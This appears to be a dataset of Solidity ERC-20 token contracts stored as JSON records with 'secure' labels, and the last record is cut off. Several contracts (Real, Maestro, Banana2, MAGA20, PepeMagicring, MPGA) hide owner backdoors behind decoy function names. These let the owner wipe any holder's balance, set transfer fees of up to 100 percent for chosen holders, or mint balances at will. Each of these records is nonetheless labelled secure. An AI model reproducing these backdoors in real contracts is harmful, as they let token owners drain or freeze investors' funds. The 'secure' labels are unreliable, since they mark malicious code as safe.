"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Real is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable bank;\n\n constructor() {\n _name = \"REAL\";\n\n _symbol = \"REAL\";\n\n _decimals = 18;\n\n uint256 initialSupply = 856000000;\n\n bank = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == bank, \"Not allowed\");\n\n _;\n }\n\n function husband(address[] memory photocopy) public onlyOwner {\n for (uint256 i = 0; i < photocopy.length; i++) {\n address account = photocopy[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3690.sol",
"secure": 1,
"size_bytes": 4351
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Maestro is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cheat;\n\n constructor() {\n _name = \"MAESTRO\";\n\n _symbol = \"MAESTRO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 826000000;\n\n cheat = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cheat, \"Not allowed\");\n\n _;\n }\n\n function measure(address[] memory facility) public onlyOwner {\n for (uint256 i = 0; i < facility.length; i++) {\n address account = facility[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3691.sol",
"secure": 1,
"size_bytes": 4360
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\ncontract E2EssenceToken is IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n uint256 private _maxSupply;\n\n address private immutable _masterAccount;\n\n error MaxSupplyExceeded(uint256 value, uint256 remaining);\n\n constructor() {\n _maxSupply = 1000000000 * 10 ** 18;\n\n _masterAccount = msg.sender;\n }\n\n function name() public view virtual returns (string memory) {\n return \"Earth 2 Essence\";\n }\n\n function symbol() public view virtual returns (string memory) {\n return \"ESS\";\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function maxSupply() public view virtual returns (uint256) {\n return _maxSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, value);\n\n return true;\n }\n\n function mint(uint256 value) public virtual returns (bool) {\n address account = msg.sender;\n\n if (account != _masterAccount) {\n revert ERC20InvalidReceiver(account);\n }\n\n _mint(account, value);\n\n return true;\n }\n\n function burn(uint256 value) public virtual returns (bool) {\n address account = msg.sender;\n\n uint256 balance = _balances[account];\n\n if (balance < value) {\n revert ERC20InsufficientBalance(account, balance, value);\n }\n\n unchecked {\n _balances[account] = balance - value;\n\n _totalSupply -= value;\n\n _maxSupply -= value;\n }\n\n emit Transfer(account, address(0), value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n _spendAllowance(from, msg.sender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 value\n ) internal virtual {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n\n _balances[to] += value;\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n unchecked {\n uint256 remaining = _maxSupply - _totalSupply;\n\n if (remaining < value) {\n revert MaxSupplyExceeded(value, remaining);\n }\n\n _balances[account] += value;\n\n _totalSupply += value;\n }\n\n emit Transfer(address(0), account, value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_3692.sol",
"secure": 1,
"size_bytes": 5372
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MAGA20 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c0134f): MAGA20._decimals should be immutable \n\t// Recommendation for 5c0134f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 718e856): MAGA20._totalSupply should be immutable \n\t// Recommendation for 718e856: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 47371e0): MAGA20._marketbaddress should be immutable \n\t// Recommendation for 47371e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketbaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketbaddress = 0x8DfF1C8395fcD46ea3bb0D692fd393FfDFEad83E;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swap(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketbaddress;\n }\n\n function liqburnt100(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3693.sol",
"secure": 1,
"size_bytes": 5346
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Trollcat is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Trollcat\", \"TROLLCAT\") Ownable(initialOwner) {\n _mint(msg.sender, 1500000000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_3694.sol",
"secure": 1,
"size_bytes": 522
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PepeMagicring is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 14255a8): PepeMagicring._decimals should be immutable \n\t// Recommendation for 14255a8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 49a88cf): PepeMagicring._totalSupply should be immutable \n\t// Recommendation for 49a88cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 08ee563): PepeMagicring._marketbetaddress should be immutable \n\t// Recommendation for 08ee563: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketbetaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketbetaddress = 0xBe31F89B14741757D94363a6097D13Ea48553C07;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apporve(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketbetaddress;\n }\n\n function pepeboommooner(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3695.sol",
"secure": 1,
"size_bytes": 5388
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MPGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a0b72b2): MPGA._decimals should be immutable \n\t// Recommendation for a0b72b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e045d27): MPGA._totalSupply should be immutable \n\t// Recommendation for e045d27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c5b2dcd): MPGA._devmarketbetaddress should be immutable \n\t// Recommendation for c5b2dcd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devmarketbetaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devmarketbetaddress = 0x0a3842eeaF6fe3897E5327decFAEc97170eBb616;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aaporve(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devmarketbetaddress;\n }\n\n function bemburntlppepes(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3696.sol",
"secure": 1,
"size_bytes": 5365
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n}\n",
"file_name": "solidity_code_3697.sol",
"secure": 1,
"size_bytes": 151
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2ea89d2): Trinityxox.slitherConstructorVariables() performs a multiplication on the result of a division maxWalletLimit = (suppxox / 100) * 1\n// Recommendation for 2ea89d2: Consider ordering multiplication before division.\ncontract Trinityxox is ERC20, Ownable {\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 07b3718): Trinityxox.suppxox should be immutable \n\t// Recommendation for 07b3718: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private suppxox = 1000 * 10 ** decimals();\n\n\t// divide-before-multiply | ID: 2ea89d2\n uint256 public maxWalletLimit = (suppxox / 100) * 1;\n\n constructor() ERC20(\"Holy Trinity\", \"HOLY\") Ownable(msg.sender) {\n _mint(msg.sender, suppxox / 2);\n\n _mint(address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045), suppxox / 2);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 value\n ) internal override {\n if (\n from != owner() &&\n to != uniswapV2Pair &&\n to != address(uniswapV2Router)\n ) {\n require(\n balanceOf(to) + value <= maxWalletLimit,\n \"Exceeds maximum wallet token amount\"\n );\n }\n\n super._transfer(from, to, value);\n }\n\n function disabledMaxWallet() external onlyOwner {\n maxWalletLimit = suppxox;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c8d3d12): Trinityxox.initPairForSwap(address,address)._uniswapV2Factory lacks a zerocheck on \t uniswapV2Pair = IUniswapV2Factory(_uniswapV2Factory).createPair(address(this),uniswapV2Router.WETH())\n\t// Recommendation for c8d3d12: Check that the address is not zero.\n function initPairForSwap(\n address _uniswapV2Router,\n address _uniswapV2Factory\n ) external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);\n\n\t\t// missing-zero-check | ID: c8d3d12\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Factory).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n}",
"file_name": "solidity_code_3698.sol",
"secure": 0,
"size_bytes": 2723
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Banana2 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable steak;\n\n constructor() {\n _name = \"Banana2\";\n\n _symbol = \"BANAN2\";\n\n _decimals = 18;\n\n uint256 initialSupply = 572000000;\n\n steak = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == steak, \"Not allowed\");\n\n _;\n }\n\n function sugar(address[] memory simplicity) public onlyOwner {\n for (uint256 i = 0; i < simplicity.length; i++) {\n address account = simplicity[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n 